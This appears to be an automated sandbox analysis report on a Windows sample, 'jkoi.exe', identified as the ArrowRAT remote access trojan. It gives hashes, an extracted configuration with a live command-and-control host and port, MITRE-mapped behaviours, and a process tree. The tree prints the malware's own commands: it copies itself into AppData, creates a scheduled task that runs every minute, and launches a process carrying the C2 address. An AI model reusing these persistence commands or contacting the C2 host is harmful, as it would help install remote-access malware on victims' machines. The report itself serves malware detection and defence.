Overview

overview

10

Static

static

3

jkoi.exe

windows7-x64

10

jkoi.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240910-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2024 01:13

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General

  • Target

    jkoi.exe

  • Size

    300.0MB

  • MD5

    135b97e053b660f8e6cacd58965b93cd

  • SHA1

    828e92ad30ac243ec063252a338519e4429940e3

  • SHA256

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027

  • SHA512

    6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c

  • SSDEEP

    12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Score
10/10
arrowratclientdiscoverypersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\jkoi.exe
    "C:\Users\Admin\AppData\Local\Temp\jkoi.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3556
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2732
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
        3⤵
        • System Location Discovery: System Language Discovery
        PID:800
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4904
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4044
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4396
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\jkoi.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4148
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4364
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1312

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133717004556064401.txt
    Filesize

    75KB

    MD5

    ea9c0d8e0f55b2d9422ce5d62f3603f4

    SHA1

    d4d0e79ad01181f6f157c5ce7305e46ecedd406b

    SHA256

    273f00322ebdc47ca9c1229a956a0153594296270503fded69dece24dad332ce

    SHA512

    460d9f91a801852b167b2b2a294857412d5a93c156a37d67278430cac43cf9f9aca98169341fbb900b665acdf743256cd1a1744887e1c3d1711d311b16fc6850

    Download Submit

  • memory/800-13-0x0000000000400000-0x0000000000416000-memory.dmp

    Filesize

    88KB

    Download

  • memory/800-19-0x0000000006240000-0x0000000006290000-memory.dmp

    Filesize

    320KB

    Download

  • memory/1312-60-0x0000020255C10000-0x0000020255C30000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1312-43-0x0000020255800000-0x0000020255820000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1312-29-0x0000020255840000-0x0000020255860000-memory.dmp

    Filesize

    128KB

    Download

  • memory/1312-24-0x000001FA53820000-0x000001FA53920000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/1312-25-0x000001FA53820000-0x000001FA53920000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/2732-23-0x0000000002B30000-0x0000000002B31000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2776-6-0x0000000005E00000-0x0000000005E0A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/2776-4-0x0000000005A90000-0x0000000005AF6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2776-1-0x00000000000B0000-0x000000000016C000-memory.dmp

    Filesize

    752KB

    Download

  • memory/2776-2-0x0000000006040000-0x00000000065E4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/2776-3-0x0000000005B30000-0x0000000005BC2000-memory.dmp

    Filesize

    584KB

    Download

  • memory/2776-16-0x0000000074C70000-0x0000000075420000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/2776-8-0x0000000074C70000-0x0000000075420000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/2776-7-0x0000000074C7E000-0x0000000074C7F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2776-0-0x0000000074C7E000-0x0000000074C7F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2776-5-0x0000000074C70000-0x0000000075420000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/3556-11-0x0000000004A00000-0x0000000004A9C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/3556-14-0x0000000074C70000-0x0000000075420000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/3556-12-0x0000000074C70000-0x0000000075420000-memory.dmp

    Filesize

    7.7MB

    Download

  • memory/3556-10-0x00000000001A0000-0x0000000000200000-memory.dmp

    Filesize

    384KB

    Download

  • memory/3556-182-0x0000000074C70000-0x0000000075420000-memory.dmp

    Filesize

    7.7MB

    Download